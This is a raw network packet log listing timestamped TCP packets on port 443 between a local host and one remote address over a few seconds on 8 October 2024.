Oct 8, 2024 03:24:26.364248991 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.364269018 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.364921093 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.364926100 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.463146925 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.463262081 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.463380098 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.463491917 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.463515043 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.463527918 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.463535070 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.466269970 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.466326952 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.466398001 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.466540098 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.466551065 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.486149073 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.486624002 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.486639977 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.487093925 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.487099886 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.592691898 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.592825890 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.592880011 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.592986107 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.593089104 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.593112946 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.593123913 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.593128920 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.595798969 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.595843077 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.596040010 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.596234083 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.596244097 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.699687958 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.700264931 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.700273037 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.700737000 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.700742006 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.804438114 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.804550886 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.804606915 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.804796934 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.804814100 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.804841042 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.804847002 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.808037996 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.808087111 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.808151960 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.808317900 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.808331966 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.953995943 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.954947948 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.954966068 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:26.956876993 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:26.956885099 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.000330925 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.000876904 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.000910044 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.001817942 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.001823902 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.063101053 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.063281059 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.063479900 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.063558102 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.063585043 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.063596010 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.063601971 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.066540003 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.066596985 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.066828012 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.066828012 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.066865921 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.112879038 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.112953901 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.113209963 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.113248110 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.113269091 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.113281965 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.113291025 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.116195917 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.116244078 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.116514921 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.116514921 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.116545916 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.135237932 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.135879040 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.135914087 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.136559963 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.136565924 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.237498045 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.237543106 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.237606049 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.237607002 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.237660885 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.237925053 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.237945080 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.237957954 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.237965107 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.241018057 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.241048098 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.241230011 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.241380930 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.241394043 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.247786045 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.248456001 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.248467922 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.248979092 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.248985052 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.349668980 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.349917889 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.350254059 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.350536108 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.350536108 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.350560904 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.350573063 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.353507042 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.353549004 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.353777885 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.353777885 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.353815079 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.464920044 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.465528011 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.465560913 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.465998888 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.466011047 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.564661026 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.564852953 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.564899921 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.564908981 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.564958096 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.565082073 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.565103054 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.565118074 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.565124035 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.567826033 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.567873001 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.568200111 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.568372011 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.568380117 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.715955973 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.717017889 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.717063904 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.717293024 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.717299938 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.778625965 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.779433966 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.779454947 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.779933929 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.779939890 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.844660044 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.844739914 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.848292112 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.848668098 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.848669052 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.848680973 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.848690033 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.851572990 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.851609945 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.852278948 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.852432966 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.852442980 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.883492947 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.884711027 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.884736061 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.885140896 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.885145903 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.887176991 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.887377024 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.887438059 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.887512922 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.887651920 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.887667894 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.887679100 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.887686014 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.898525953 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.898541927 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.898624897 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.898771048 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.898781061 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.982867002 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.983108997 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.983161926 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.983278990 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.983299971 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.983314037 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.983321905 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.986032963 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.986084938 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:27.986361980 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.986515999 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:27.986531973 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.022099018 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.024862051 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.024918079 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.025374889 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.025382042 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.119545937 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.119782925 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.119839907 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.120265007 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.120347023 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.120368004 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.120402098 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.120409012 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.123007059 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.123049021 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.124274015 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.124414921 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.124427080 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.225716114 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.227567911 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.227596998 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.240187883 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.240196943 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.337084055 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.337167978 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.337258101 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.337599039 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.337624073 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.337635040 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.337641001 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.340696096 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.340747118 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.340833902 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.341003895 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.341018915 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.486006021 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.486681938 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.486721039 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.487135887 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.487143993 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.534836054 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.535481930 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.535511971 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.535860062 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.535867929 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.585660934 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.585706949 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.585758924 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.585762978 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.585804939 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.586062908 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.586082935 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.586128950 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.586136103 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.589188099 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.589226961 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.589317083 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.589458942 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.589471102 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.634219885 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.634291887 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.634371042 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.634613037 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.634637117 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.634649992 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.634655952 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.637710094 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.637775898 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.637877941 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.638045073 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.638060093 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.647089005 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.647567987 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.647602081 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.648014069 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.648020029 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.754384995 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.754456997 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.754544973 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.754822969 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.754848957 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.754862070 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.754868031 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.758224010 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.758272886 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.758550882 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.758552074 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.758584976 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.791312933 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.792320013 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.792363882 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.792783022 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.792788029 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.898083925 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.898150921 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.898226023 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.898447037 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.898468971 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.898482084 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.898488045 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.901639938 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.901679993 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:28.901745081 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.901892900 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:28.901905060 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.022510052 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.023344040 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.023351908 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.023844004 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.023848057 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.128267050 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.128381014 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.128437996 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.128508091 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.128559113 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.128850937 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.128858089 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.128870010 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.128874063 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.132108927 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.132150888 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.132247925 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.132443905 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.132458925 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.271810055 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.272465944 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.272497892 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.273025036 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.273030043 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.275845051 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.286149025 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.286227942 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.286957026 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.286979914 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.374773026 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.374998093 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.375056028 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.375139952 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.375159979 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:29.375170946 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:29.375175953 CEST	443	49842	13.107.246.60	192.168.2.10
